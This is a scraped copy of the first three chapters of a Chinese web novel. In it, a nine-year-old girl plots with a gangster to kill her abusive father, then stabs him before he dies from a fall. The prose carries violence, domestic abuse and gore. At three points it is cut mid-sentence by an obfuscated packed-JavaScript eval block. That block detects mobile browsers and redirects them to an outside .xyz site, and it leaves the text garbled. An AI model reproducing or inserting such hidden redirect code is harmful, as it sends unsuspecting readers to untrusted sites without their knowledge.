《拨云不见日[九零]》 1. 交易 “你帮我杀了他,我替他还债。” 这是九岁的阮云琛所能想到的唯一一条出路。 棋牌室里,人声沸天。 雨水顺着棋牌室破旧的招牌滴落,地面湿漉漉的石板反射着微弱的灯光。 阮云琛站在门口,浑身湿透,冰冷的雨水从发梢滴下,滑进衣领,贴着皮肤一阵刺骨的寒意。 她攥紧衣摆,深吸一口气,抬手推开门。 门轴发出尖锐的“吱呀”声,热气混着烟草的味道扑面而来。 里面是完全不同的世界。 麻将牌搓动的声音此起彼伏,骰子在瓷盅里滚动碰撞,发出清脆的声响。男人们高声叫嚷,带着点酒后的亢奋与随意。 昏黄的灯光像是硬生生按进这狭窄的空间,劣质的白炽灯泡闪烁着,将每个人脸上的汗水照得格外油亮。空气里混杂着汗臭、烟味和酒精的辛辣味道,厚重得让人呼吸都有些不畅。 “快点啊!这把都磨了半天了,还打不打?”一个戴着金戒指的男人大声嚷嚷,手里的烟灰掉了一地。 “催什么催!再吵,我可要换桌了!” 另一人不甘示弱,摔了一张牌:“杠!” “杠你大爷!”对面的人骂了一句,把手里的牌一推,“算了算了,这把老子不玩了,谁耐烦跟你耗着!” 围观的人跟着哄笑,嘈杂的声音在低矮的天花板下回荡,像是一锅烧开的水扑腾着往外溢。 靠近门口的地方,有个男人低头抽烟,一言不发,烟头在昏黄的灯光下忽明忽暗。 他的目光从牌桌上移开,扫了一眼站在门口,眼神似乎带着些兴趣,但又像是在打量某件无足轻重的东西。 “你杵那儿干什么?”有人扯着嗓子喊道,带着些调侃的笑意,“谁家的丫头?这么晚了,找谁呢?” 没有人指望她回答,只当是随口一问。 喧嚣和笑声重新淹没了这个狭窄的空间,而阮云琛依旧站在原地,一言不发,像是一块石头嵌在了这锅沸腾的泥浆里。 阮云琛的脚步停顿了一下。她扫了一眼这间乌烟瘴气的棋牌室,目光最终停在了最里侧的麻将桌上。 一个穿着花衬衫的男人懒洋洋地靠在椅背上。 男人叼着烟,手上动作漫不经心。他的身前是一堆码得整整齐齐的筹码,几张散落的麻将牌光亮如新。他脸上的笑容看似温和,眼神却带着点薄凉的兴味。 他显然就是这里的中心——每一个靠近他的人都带着小心翼翼的奉承和讨好。 阮云琛知道他是谁。 宋祈,淮龙区最危险、最不好惹的人。 “祁哥胡了!” 一个男人突然嚷了一嗓子,随后整张桌子爆发出一阵哄笑,所有人都跟着起哄。 “妈的,祁哥今天这是开挂了!” “连胡三把,淮龙赌王非你莫属啊!” “祁哥,下回还得带兄弟们发财啊!” 宋祈的笑容深了几分,他将手里的牌一推,慢条斯理地收拢面前的筹码,又抬手弹了弹烟灰,像是对众人的奉承很是受用。 就在这时,他的目光随意地扫了一圈,停在了站在门口的阮云琛身上。 “小丫头,”他开口,声音低哑懒散,带着点儿掺着烟雾的粗糙,“你站那儿干嘛呢?看我赢钱?” 阮云琛紧紧攥着袖口的手不自觉地又收紧了一些,她的脚动了动,最终还是迈了出去,缓缓地越过了地上的烟头,侧着身挤过几乎找不到缝儿的桌椅,拨开了身上汗津津的男人们,走到了宋祈的面前。 “我来找你做一笔交易。”阮云琛说。 她的声音不大,却像锋利的刀刃,直接切开了嘈杂的空气。 棋牌室短暂地安静下来。 男人们交换了一个眼神,原本搓动麻将的手停了,骰子也在瓷盅里安静了下来。 他们的目光齐刷刷落在那个站在门口的小女孩身上,带着几分探究和嘲弄。 阮云琛没有低头,也没有闪躲,只是冷静地站在那里,像一块沉甸甸的石头钉在地上。 没过几秒,一阵笑声忽然从人群里爆开。 最先笑出声的是一个剃着光头的男人,他笑得喘不过气来,连拍了两下旁边人的肩膀:“交易?听见没?她说——她要做交易!哈哈哈哈!” 笑声像火苗一样被点燃了,迅速在整个棋牌室蔓延开。 有人乐得捧着肚子,拍着桌子大笑;有人忍不住接话调侃:“这是什么,债主的娃儿来替她老子收债吗?”“也不看看这是什么地方,随便进的?” 这些笑声乱糟糟地落在阮云琛的耳朵里,像一道道刺耳的嗡鸣。她的手在口袋里紧紧攥着,掌心早已被汗水浸透,却仍旧站得笔直,一动不动。 男人们的目光肆无忌惮地在阮云琛身上扫过,从她被泥水沾脏的鞋子到稍显松垮的旧衣服,像是在打量一件再平凡不过的物件。 对他们来说,这个瘦弱的小女孩和交易这样的字眼几乎毫不相干。 就在这时,宋祈抬了抬手,食指轻轻敲了敲桌面。 只是这一个小动作,就像按下了某种开关,笑声立刻被生生截断。男人们的笑容僵在脸上,迅速变成一种恭敬又隐隐带着惧意的沉默。 宋祈没有急着开口。 他靠回椅背,懒散地打量着阮云琛,目光游弋却带着一丝压迫感。随即,他的嘴角微微勾起,像是被人递上了一件有趣的玩物,又像是耐心十足地等着看一场闹剧。 “你是阮家的小丫头吧?” 话音一落,原本还有些嘈杂的棋牌室再次安静了下来。有人惊讶地低声问:“谁?”“阮……谁?” “阮启明啊!那个老酒鬼!” “阮启明......哦!阮启明!他不是早年欠了不少钱吗,记账那一页都有的,老子翻过。”另一个声音跟着说道。 “哦——” 周围人恍然大悟,有人啧了一声,意味深长地看了女孩一眼,又低声嘀咕:“不过是个死账,跑这儿来干什么?” 宋祈没理会这些零零散散的议论,只是懒洋洋地将视线转向阮云琛。 他的眼睛半眯着,漫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830919|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不经心地打量着,仿佛眼前的女孩不过是一件被丢到门口的旧物,一件——稍微有那么些意思的旧物。 他嘴角带着一点笑意,尾音微扬:“怎么,欠债还不起,就派个小丫头来这儿讨情?” 阮云琛站得很直,没有说话,目光一寸不让地盯着他。 房间里的窃窃私语又开始零星响起,有人掀开手边的牌,低声嘀咕:“这算什么,债主的闺女上门赔笑脸?” “谁知道呢,看着是有点意思。”另一个人拖长了语调,语气里尽是揶揄。 “闭嘴。”宋祈的声音不高,却像一柄钝刀压了下去。议论声瞬间断了,男人们缩了缩脖子,装作若无其事地摆弄起手里的烟和牌。 见宋祈似乎对自己的话感了兴趣,阮云琛咬了咬牙,再次抬头看向了他。 “不是。”她说,“我是来谈条件的。” 宋祈眯了眯眼。 他像是听见了什么稀奇事,没有急着说话,只是用指尖轻轻敲了敲椅子的扶手,那动作不疾不徐,像是猎豹在观察猎物,每一下都仿佛在计算该从哪个角度出击才能最快制敌。 “条件?”他拖长了尾音,嘴角勾起一丝玩味的弧度,带着漫不经心的兴趣,“说吧,我听听。” 周围顿时又窃窃私语了起来。 人们压低了声音,小声嘀咕着:“她真是老阮家的丫头?欠债欠疯了,派个孩子来装可怜?”“这丫头胆子挺肥的,怕不是还不知道自己摊上什么了吧?” 阮云琛没有理会那些声音,依旧站得笔直,眼神牢牢锁定在宋祈身上。 空气里满是汗水和烟草的味道,像一层厚重的罩子将她和这个男人隔在了一个看不见的空间里。她没有退路,也不打算退。 “我替他还债。”她开口,语调冷硬,一字一句像利刃一样切开这片压抑的空气。 整个棋牌室安静了一瞬,紧接着,有人忍不住笑了出来:“就她?拿什么还债,童工的工资?” 一阵低笑声随之蔓延开,有人甚至大声笑骂:“妈的,这年头小孩都这么不知天高地厚了!” 可宋祈没有笑。 他只是微微倾了倾身,像是终于对此事提起了一点兴趣。他就像捕猎的猛兽死死盯着猎物,耐心十足却危险得叫人发寒。 “你知道你在跟谁说话吗?”他的声音很轻,但每一个字都带着锋利的边缘,像是在给阮云琛最后的警告,“还债,你拿什么还?” 阮云琛没有直接回答他。 她抬起头,她的脸上没有任何表情,眼神却黑得沉沉的。 “我要杀一个人。”她说。 只是这么短短的六个字,却像一块石头投进水里,瞬间激起了千层水花。 男人们纷纷停下了手中的动作,甚至连刚才戏谑的笑都凝固在了脸上,所有人不约而同地转头看向她,眼神里带着明显的诧异与探究。 宋祈倚在椅子上的身子微微坐正了些,他盯着她,好一会儿,嘴角渐渐挂起了似笑非笑的弧度:“这么大点儿人,你想杀谁啊?” “阮启明。” 2. 一把刀 阮云琛咬紧了牙关,拼尽了自己所有的勇气仰着头。 “帮我杀了他。”她重复了一遍。 男人吞吐了几口烟,白雾直直打在了阮云琛的脸上,她没有眨眼。 男人的眼神意味深长:“我杀了他,我会背上一条人命。警察会查到我,会查到我和安堂,我的生意会做不下去,我的兄弟们会瓦解星散。我帮你这么一回,我却会惹一屁股债。你又能给我什么?” 阮云琛觉得自己的肺叶那儿堵着一股气,那气几乎让她的每一次呼吸都宛如刀割。她努力让自己别发抖,别避开目光,别有任何一丝退缩。 “他活着也成日只知道酗酒,不工作,没收入,他欠你的债一个子儿也还不上。而若你杀了他,我就有机会帮他还债。” 男人饶有兴致地挑起了眉。 “他死了,警察是会来,但如果我告诉他们‘这是意外’,警察就不会过度关注……谁会相信一个小孩会说谎?” 见男人笑而不语,阮云琛深吸了一口气,“他死了,这间棋牌室自然就落到了你的名下,盈亏任你摆布。而我会被警察送进淮龙福利院,那间福利院会派孩子出去发传单,我……我可以在那期间为你做工。” “收债也好,放债也罢,没有谁会对一个小孩设下心防。” 远处的角落爆发出了声欢呼,不知是谁又胡了一把。众人的注意力很快转移了过去,欢呼着笑闹着起着哄,叫那赢了牌的人下回请客喝酒。 就在这时,名宋祈的男人笑了起来。 原本只是低沉的哼笑,渐渐地就变得肆意。他笑得前仰后合,一看就价格不菲的花衬衫都被他身体抖动的幅度给蹭得歪斜了。阮云琛甚至能看到男人胸前的两道泛白的刀疤,还有那道疤旁边的一个小圆形的凸起的印子。 阮云琛知道,那是枪子儿留下的伤。 闹腾的人听着了笑声,嘈杂戛然而止。 所有人都齐刷刷地看向了这边,本因兴奋而涨红的脸转瞬间变得惨白。他们的神色中并非是好奇,更多的,是条件反射的惶恐和本能的畏惧。 阮云琛梗着脖子,一动不动。 不敢动,不能动,也没有退路能让她动。 求助这带着人霸占了棋牌室的男人是她唯一的选择,是当下能够做出的最万全的决策。 阮云琛等啊等,等了许久许久,男人才终于停下了那狂肆的笑。 “小孩儿,有人说过你很有趣吗?”男人问道。 阮云琛没懂。 她老实地摇了摇头,却仍旧想要得到刚才所述请求的明确答案。她捏紧了拳头,指甲抠在了手掌心的茧子上。茧子抵着肉,肉隐隐作痛。 阮云琛直勾勾地看了去,没有说话。 她在等一个答案。 成功也好,失败也罢,这个人……求助这个人,是最冒险的行动,却也是她最后的稻草。 亲自动手也好,找宋祈帮忙也罢,她只需要杀死那个人,需要在做好一切准备、并为未来铺好所有的道路之后,杀死那个人。 那个——不配被称之为“父亲”的人。 雨点急促地敲打着窗台,像一首不协调的低音乐,搅和着房间里嘈杂的议论声,层层叠叠,压得人心里生出一种无处可逃的窒闷感。 阮云琛站在屋子中央,细瘦的肩膀挺得笔直。她的手藏在旧衣服的口袋里,掌心湿润,黏腻得像打翻的浆糊。她的目光却平静,眼皮抬着,落在对面的宋祈身上。 宋祈笑了,笑得像是真的被她逗乐了。 “阮启明是做了什么对不起你的事,值得你跑到这儿来要杀人?”他问。 “酗酒、赌博、家暴......他不死,我和我妹妹就会死。”阮云琛的声音没有丝毫起伏,仿佛只是在叙述一件毫无感情的事情。 “你妈妈呢?”宋祈冷不丁地问道,“上个月我还被她关在门外,连个防盗链都不愿意给我开。” “被他打死了。”阮云琛说。 一瞬间,房间里的空气像是被冻结了。 麻将和骰子的撞击声停下,男人们的笑闹也被扼住喉咙似的戛然而止。唯一持续的,是那盏摇摇欲坠的吊灯发出的轻微嗡嗡声。 宋祈抬眼看她,眉梢微挑,表情不见喜怒。他叼着烟,随手将刚摸起的麻将推了回去,腾出一只手将椅背向后一靠,换了个更舒服的姿势。 “所以,你是来找我帮你杀人的?”他的语气漫不经心,像是随手翻开了一本旧书,读到了一段毫无意义的文字。 “是。”阮云琛一动不动。 空气凝固了一会儿,接着就有几声笑从角落里爆开。 男人们彼此递了个眼色,似乎在问“这又是哪来的小鬼?”一个剃着光头的家伙大声笑道:“小丫头片子,拿咱们当什么地儿了?这年头,小孩儿胆子都这么大?” 更多的笑声接连响起,有人捧腹,有人拍着桌子,甚至有人直接从椅子上站了起来,像是被这个荒唐的场面逗得乐不可支。 阮云琛站在笑声的漩涡中心,低垂的手指攥紧,指甲用力掐进掌心。 疼痛沿着神经爬上来,却被她无声地咽了下去。她的脸上没有一丝表情,像一张刻意蒙上的白布,遮住了一切情绪。 宋祈看着这一切,表情却一点没变。他吐出一口烟,抬起手,食指在桌面上轻轻敲了两下。 那敲击声并不响,却像是信号枪,一瞬间便让整个屋子静了下来。笑声被切断,男人们或收敛笑容,或低下头去,不敢再多言。 宋祈缓缓站起身来,脚步沉稳地走到阮云琛面前。他低头打量她的脸,仿佛是在审视一件耐人寻味的收藏品。 “还是那个问题,他死了,警察查到我,谁替我背这命案?”他问,嗓音平静,冷得像冰下的湖水。 阮云琛抬起头,和他对视,声音仍旧没有起伏:“还是那个答案,他死了,警察不会查到你。我会告诉他们,这是意外。谁会怀疑一个孩子撒谎?” 宋祈的目光微微一顿,嘴角似笑非笑地弯了弯,语气里带了几分打趣:“是吗?然后呢?” “如果他死了,我会被送去福利院。”阮云琛继续道,“福利院的孩子会出去发传单、跑腿,我可以帮你塞放债的纸片,可以帮你送收债的恐吓信......没有人会对一个孩子设防。你让我做什么,我都能做。” 房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830920|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里一片寂静,只有雨声和灯泡嗡嗡的响声填充着空隙。男人们再次低声议论起来,但没有人敢大声说话,只是用一种压低的音量偷偷交换着各自的看法。 宋祈的目光沉了沉,低头看着这个阮云琛,视线扫过她的旧衣和沾着泥的鞋,最终落在她那双没有一丝怯懦的眼睛上。 过了几秒,他突然笑了,笑声低沉,却是渐渐低了下去,像退潮的水,将棋牌室里的一切卷进了莫名的安静之中。 他站在那里,目光不经意地扫过桌上散乱的麻将,又停留在阮云琛身上,像是一头蓄势待发的猎豹在观察一只胆大的小兽。 过了一会儿,他走向桌边,动作随意得像是在挑选一根香烟,却最终从杂物堆里抽出了一把匕首。 刀刃狭长,冷光森森。宋祈拿着匕首在手里转了一圈,刀尖反射出的光在昏暗的房间里划过了一道锋利的弧。他走回到阮云琛面前,将刀柄递向了她。 “想杀人,那就自己动手。”他说。 宋祈的声音轻飘飘的,却带着一种不容抗拒的命令。他的嘴角微微扬起,像是在看戏,甚至有些好奇她的下一步。 阮云琛的目光落在那把刀上,刀刃清晰得让她能看见自己的倒影。她的手没有动,指尖依旧隐在旧衣口袋里,像是生了根似的黏在了身体两侧。 宋祈并不急。 他抬起另一只手,将燃尽的烟头随意掐灭在桌角,视线低垂着,看不清眼底的情绪。那是一种漫长的等待,也是一种无声的试探。 ——他对这个孩子并不抱期待,但正因为如此,才更有趣。 “这就怕了?”他的语气并不咄咄逼人,甚至有点像在玩弄着什么无关紧要的东西,“就这点胆量,也敢跑来找我?” 这句话像是一根针,刺破了阮云琛胸腔里绷得太紧的那层膜。 她深吸了一口气,勉强让自己的呼吸保持平稳,然后缓缓地把手从口袋里抽了出来。 她接过匕首,动作很慢,像是怕惊动什么似的。冰冷的金属触碰到掌心的一瞬间,她的手指不由自主地颤了一下,但最终还是牢牢地握住了刀柄。 宋祈看着她,没有说话,眼里掠过一丝微不可察的兴趣。 他能感觉到这小女孩身体里的恐惧,却没想到这恐惧被藏得这么深。 阮云琛垂下眼睛,手指紧紧握着刀柄,指尖的关节已经因为用力而发白。 ——她当然知道这把刀意味着什么。 那是生与死的分界,是彻底踏进深渊的门槛。 她想起父亲醉酒后扬起皮带的样子,想起母亲躲在角落里哭泣的背影,还有淼淼缩在自己身后的那双无助的大眼睛。 她咬紧了牙关,抬起头看向宋祈,眼神沉静得出奇。她没有开口,只是默默地把刀握紧了一分。 宋祈扬起了眉毛,像是被她这份不见波动的沉默逗乐了。他点了点头,慢慢退后一步,把空间让给了她。 “现在呢?”他的声音低而懒散,“还敢继续吗?” 阮云琛没有回答,她的手仍然在微微发抖,但脚步却坚定地向门外走去。雨点打在窗沿上的声音更大了,仿佛整个夜晚都在呼吸着潮湿的寒意。 3. 自由 雨点如密集的鼓点,敲打在窗台上,溅起一层薄薄的水雾。 夜晚的空气潮湿而黏腻,夹杂着淡淡的泥土味和远处菜市场未清理干净的腥臭。阮云琛握着那把匕首,站在黑暗里,手指因为雨水的冰冷而略微发麻。 她的脚步在家门口停住了片刻。 门没有关严,一条窄窄的缝隙里,透出屋内昏暗的灯光。熟悉的酒精味和霉味扑鼻而来,令人作呕。 墙壁的裂缝蜿蜒得像无数道伤痕,从天花板延伸到地面,每一道都像是在述说着难以言表的痛苦。 角落里堆积的杂物早已蒙上厚厚的灰尘,隐约还能看见几根被踩弯的香烟。窗帘摇摇晃晃地挂着,遮住了外面的世界,只露出一条细缝,透进来一丝冷冷的光。 整个屋子像是一个被时间遗弃的角落,腐烂和衰败的气息深入骨髓。 空气中漂浮着酒精混着汗水的味道,沉闷得像一场无声的呐喊。 这种味道她再熟悉不过——每当她爸醉倒在沙发上,地上洒着打翻的酒瓶和散落的零钱,这股气味就会弥漫开来,把她和淼淼从睡梦中生生拽醒。 这里装满了她童年所有的噩梦。 狭小的空间就像一座囚笼,锁住了她和淼淼所有的退路。墙角那盏摇摇欲坠的吊灯,闪烁着昏黄的光,仿佛随时都会熄灭,像极了她生命里微弱的希望。 她记得母亲蜷缩在墙角哭泣的样子,记得淼淼缩在她怀里发抖的模样。还有那条被扬起的皮带,皮革与空气摩擦的声音像是毒蛇吐出的信子,狠狠地抽在她的耳边。 每一个记忆都清晰得像是刚刚发生,甚至连母亲哭泣时那带着颤音的“别打了,孩子还小”都能清晰地回响在她的耳边。 这些场景早已深深刻在她的脑海里,变成了一种挥之不去的痛苦。每一处角落,每一声回响,都像是无形的枷锁,把她的过去和现在牢牢地禁锢在这片黑暗之中。 阮云琛握紧了手中的刀,指节因为用力而发白。 她的目光在屋子里扫了一圈,最终落在沙发上那个人的身上。他的呼吸沉重,仿佛一头深陷泥沼的野兽。即便是睡着,他的神情也带着一种与生俱来的暴戾和怨恨。 雨水顺着她的额头往下流,混进睫毛,再滑过冰冷的脸颊。她的脚踩在水迹里,微微颤抖,但最终站稳了。 她抬起头,吸了一口凉气,硬生生将那股想要转身逃离的冲动压了下去。 匕首贴在掌心,锋利的刀刃轻轻划过她湿透的衣服,刺得皮肤微微发疼。这疼痛像是提醒,让她回忆起宋祈递刀时那一句轻飘飘的“自己动手”。 她当然明白这意味着什么。 杀人,不只是一个字眼,它背后隐藏的,是一个无底的深渊。 她低下头看着刀刃,冷光在昏暗中反射着雨水的微光,像是另一只冰冷的眼睛,逼迫着她做出决断。 门内传来重重的一声闷响。 阮云琛抬起头,盯着那道虚掩的门。 她知道父亲又摔倒了,或许是被酒瓶绊倒,也或许是自己站不稳。这样的事情早已成了常态,每次他跌倒,就会站起来继续骂,继续喝,再继续打人。 可这一次......这一次,她不会再允许这些继续下去了。 她推开了门。 老旧的门发出的声响在寂静的屋子里尤为刺耳,门后的黑暗吞噬了她的身影,唯一的光源来自客厅中央那盏昏暗的吊灯,摇摇晃晃,仿佛随时都会熄灭。 阮启明瘫在沙发上,身旁散落着几个空酒瓶。 他的呼吸很重,像一只巨大的风箱,每一声都带着酒精特有的浓烈腐味。他半眯着眼,显然是刚从浅睡中被惊醒。他看见了门口的阮云琛,愣了一下,然后发出了一声冷笑。 “回来了?”他嘶哑着嗓子说,语气里带着显而易见的厌恶,“跑哪去了这么久,野丫头?” 阮云琛没有说话,只是静静站着,手中的匕首藏在宽大的袖子里,露出一点点冰冷的金属光。 她的目光越过散乱的空瓶和破旧的家具,停在了沙发上那张满是皱纹却依旧凶狠的脸上。 “拿什么藏着掖着的?”他察觉到她袖口的异样,语气里带了一点嘲讽和恶意,“又在外头学了什么花样,想拿回来吓唬我?” 阮云琛仍然没有回答。 她的沉默让男人渐渐失去了耐心。他猛地坐直了身子,双手撑着沙发扶手,试图站起来。酒精让他的动作显得笨拙,身体摇摇晃晃,几乎没有站稳。 “过来!”他突然吼了一声,声音沙哑而尖利,“过来让我看看你手里拿了什么鬼东西!” 阮云琛的手指紧紧握住刀柄,关节发白。她没有动,也没有说话,胸腔里的呼吸却变得急促了几分。 男人一步步逼近,脚步沉重而不稳。他的脸因为愤怒和酒精涨得通红,眼睛里充满了熟悉的暴戾。每一步都像是踩在阮云琛的神经上,每靠近一步,她的手指便握得更紧。 “你听见没有!”他大吼一声,抬起了手,掌心里是一只还没喝完的酒瓶。他扬起瓶子,下一秒就要砸下去。 那一刻,阮云琛的身体先于她的大脑做出了反应。 匕首从袖子里滑出,带着一声细微的金属撞击声,直直刺向他的胸膛。 刀刃入肉的触感真实得令人作呕,温热的血溅到她的手上,渗入掌心,带着铁锈般的腥味。 男人的动作僵住了。 他低下头,目光定在了胸膛上。 那把匕首几乎没入了大半,鲜血沿着刀刃缓缓流出,像一道裂开的暗红缝隙。 男人的手抖了一下,试图抬起来去抓什么,但又无力地垂下。他抬起头看向阮云琛,眼神里先是不可置信,然后是愤怒,最终定格在恐惧上。喉咙深处发出断断续续的呜咽,像一头濒死的野兽。 “你……”他的嘴唇动了动,声音微弱得几乎被吞没在空气里。他还想说点什么,但血已经涌上了喉咙,把他所有的话都堵了回去。 时间像是被生生拉长了。 每一秒都仿佛被切割成了无数片段,屋子里的空气湿冷又厚重,雨水敲打窗玻璃的声音在此刻竟变得清晰起来,像是一首催人入梦的挽歌。 阮云琛站在那里,手还握着刀柄,血顺着刀刃滑下来,滴在她的指尖,滴在破旧的地板上,溅起一朵朵细小的红花。 她的胸口剧烈起伏,像是被某种看不见的力量压住了,又像是终于挣脱了某种无形的枷锁。 阮启明晃了一下。 他脚步不稳地后退,砸在了身后的茶几上。 空酒瓶翻倒在地,骨碌碌滚了几圈,发出清脆的碎裂声。他猛地站稳了,低头看向自己胸前的伤,看着鲜血沿着衣襟缓缓渗出。 阮云琛呼吸急促,手中的力气几乎用尽,整个人都在微微发抖。她的脑袋嗡嗡作响,像是被一记重锤敲得空白了一瞬。就在这片刻的恍惚间,男人的眼神骤然一变。 “你个小畜生!”他一声怒吼,手臂挥起,将放在旁边的酒瓶猛地抄在手里,直直朝她头顶砸了下来。 砰! 玻璃破裂的声音混着剧烈的疼痛一起传来。 阮云琛只觉得头皮一阵剧痛,随后温热的液体沿着额头缓缓流下,浸湿了她的眼睛,遮住了她的视线。她下意识地用手背一抹,掌心被血染得一片湿黏。 阮启明却像是完全没察觉到他胸口的疼痛——或者说,他的酒劲和怒火已经让他忽略了疼痛。 他挥舞着破碎的瓶身,步步逼近阮云琛,眼睛里满是猩红的狂暴,“我弄死你——你以为你能跑?” 阮云琛跌坐在地上,脑袋晕得像是装满了浆糊,眼前的影像模糊而晃动。她想抬起匕首再捅过去,可浑身像是被抽空了力气,手脚都僵得动弹不得。 这时,一声尖锐的哭喊从屋里传来——是阮淼淼的声音。 两岁的小孩还不太会讲话,这过大的声音却能给她带去无尽的恐惧。那哭声撕心裂肺,隔着门板都能听得清清楚楚。 阮启明听见哭声,愣了一下,随即愈发暴躁。他转过身,提着瓶子就朝那扇虚掩的房门走去。 阮云琛胸口猛地一滞,她的视线穿过模糊的血影,看见阮启明伸出手去抓门把手,那个动作像是点燃了她身体里最后的一根神经。 “不......” ……不可以。 不可以! 她几乎是从地上弹了起来,手中的刀划出一道寒光,带着她所有的力气,狠狠刺向男人的腰部。 可还未待她扑过去,阮启明的动作猛地一顿。 那一瞬间,他的瞳孔骤然放大,像是被什么重物砸中了脑袋。他低吼了一声,脚步踉跄了一下,身体猛地向后仰去。 “爸?”阮云琛怔了一下,还没来得及反应,就听见“砰”的一声闷响。 阮启明的后脑勺重重地撞上了茶几边缘,那声音清脆得让人头皮发麻,像是有什么东西裂开了一样。 空气骤然凝滞。 时间仿佛静止了。 阮启明的身体缓缓倒下,侧脸贴在冰冷的地板上,像一尊被打碎的雕像。他的手指抽搐了几下,便彻底不动了。 阮云琛僵在原地,脑袋嗡嗡作响,眼前的场景像是一场脱离现实的噩梦。 茶几的边缘被染上一抹深红,血从他后脑勺的伤口缓缓涌出,顺着木地板的缝隙蔓延开来,像是一滩无声的阴影,吞噬着整个房间。 “爸?”她哑声喊了一句,声音轻得几乎听不见。 没有回应。 血腥的味道弥漫在空气中,温热的液体一点点流向脚边,阮云琛只觉得大脑发懵,身体几乎没法动弹。 她盯着地上逐渐冰冷的男人,耳边是一片寂静,只有屋里阮淼淼的哭喊声清晰地回荡着。 房间里安静得可怕,仿佛时间在这一刻彻底停止了。只有雨声还在窗外淅淅沥沥地落下,像是为这一切盖上最后一层帷幕。 阮云琛的脑袋嗡嗡作响,像是有一只无形的锤子在不停地敲打着她的耳膜。 刚才发生的一切宛如一场脱离了现实的梦境,那把刀依旧握在她的手里,阮启明却突然在她面前自己倒了下。她的呼吸忽然滞住,像是被什么东西牢牢卡住了喉咙。 空气里满是刺鼻的味道,酒精、血腥,还有她掌心被刀柄磨出的铁锈味,夹杂着一股木地板被血渗透后的潮湿霉气,令人窒息。 她盯着地上的阮启明,血从他的身下缓缓流出,像一滩蔓延的阴影,将整个房间染成了深红色。 她站在那里,浑身僵硬得像是一尊石像。 时间仿佛被拉长了许多倍,长到她连呼吸都忘了。房间安静得可怕,除了外面淅淅沥沥的雨声,再没有任何其他的声音。 直到一股尖锐的寒意沿着她的脊背窜了上来,她才猛地回过神。 阮云琛只觉得自己的腿猛地一软,身体失去了支撑,膝盖重重地砸在地板上,发出一声闷响。手中的刀蓦地滑落,掉在血泊里,发出“啪嗒”一声轻响。 她撑着手,剧烈地喘息起来,像是要把肺里的空气全都吐尽似的。然而每一次呼吸,吸入的却全是浓烈的血腥味和酒臭,直冲鼻腔,恶心得让她胃里一阵翻腾。 下一秒,她踉踉跄跄地爬起来,跌跌撞撞地跑向厕所。 抓住门框的手颤抖得像是在抽筋,阮云琛几乎是扑到了洗手池旁,扶着边缘,干呕了一声,紧接着胃里翻江倒海似的涌动起来。 她吐得昏天黑地,先是吐出些食物残渣,后来连胆汁都被逼了出来,酸涩的液体让喉咙一阵阵灼痛。 镜子里映出的脸色惨白如纸,血迹斑斑的额头上还粘着些细碎的玻璃渣,混合着汗水和雨水一道一道地流下来。 她盯着镜子里自己的眼睛,那双眼睛里没有一丝光,只有一片死寂。 她吐了很久,久到浑身力气都被掏空了,整个人瘫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830921|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软在地上,靠着冰冷的墙壁发呆。 雨声隔着墙传进来,模模糊糊的,却仿佛成了她唯一能抓住的声音。 阮云琛的目光空洞地落在自己满是血迹的双手上。指甲里塞满了凝结的暗红,手掌因为用力过度而微微抽搐,甚至能感受到掌心皮肤的细微开裂。 她盯着那些血迹,像是透过它们看见了某种无法逃避的命运。 她......杀人了。 她杀人了吗? 她的脑袋里不停地回响着这几个问题,像是一根钝钝的针,反复刺入,反复抽离。 那些画面,闪烁的啤酒瓶,满地的烟头,她父亲倒下时空洞的眼神……一帧帧地在她的脑海里闪现,挥之不去。 可她的心里却出奇地平静,甚至带着一点让她自己都不敢承认的轻松。 ——自由。 她的脑海里浮现出这个词。 对、对,她自由了。 她......自由了吗? 阮云琛不知道。 她也不想知道。 哪怕迎接自己的是另一滩泥沼,她也不愿意永远地现在现在的深潭里。 她忽然笑了一声,很轻,很短,却充满了一种难以言喻的嘲讽。 那笑声像是划破了她的麻木,让她整个身体都开始抖起来。她的肩膀微微颤动,呼吸变得急促,像是身体里有什么东西在拼命挣扎,想要从她的胸膛里破开。 她又一次想吐。 可是胃里已经空了,只有那刺鼻的血腥气还残留在喉咙里,像是对她犯下的罪行无声的提醒。 她想站起来,可是双腿软得像是灌满了泥,根本没有支撑起身体的力气。她只能靠着冰冷的墙,任由雨声在耳边轰鸣。 阮云琛闭上眼,额头抵在墙壁上,冰冷的触感让她短暂地有了一丝清明。深呼吸,她告诉自己,深呼吸。 阮淼淼还在屋里,两岁的阮淼淼还什么都不知道。 这个念头像是一根刺,直直扎进她的意识深处,把她从快要陷进去的混乱里拽了出来。她猛地睁开眼,扶着墙,颤抖着站起来。 膝盖仍然发软,每走一步都像是踩在刀尖上,但她没有停。 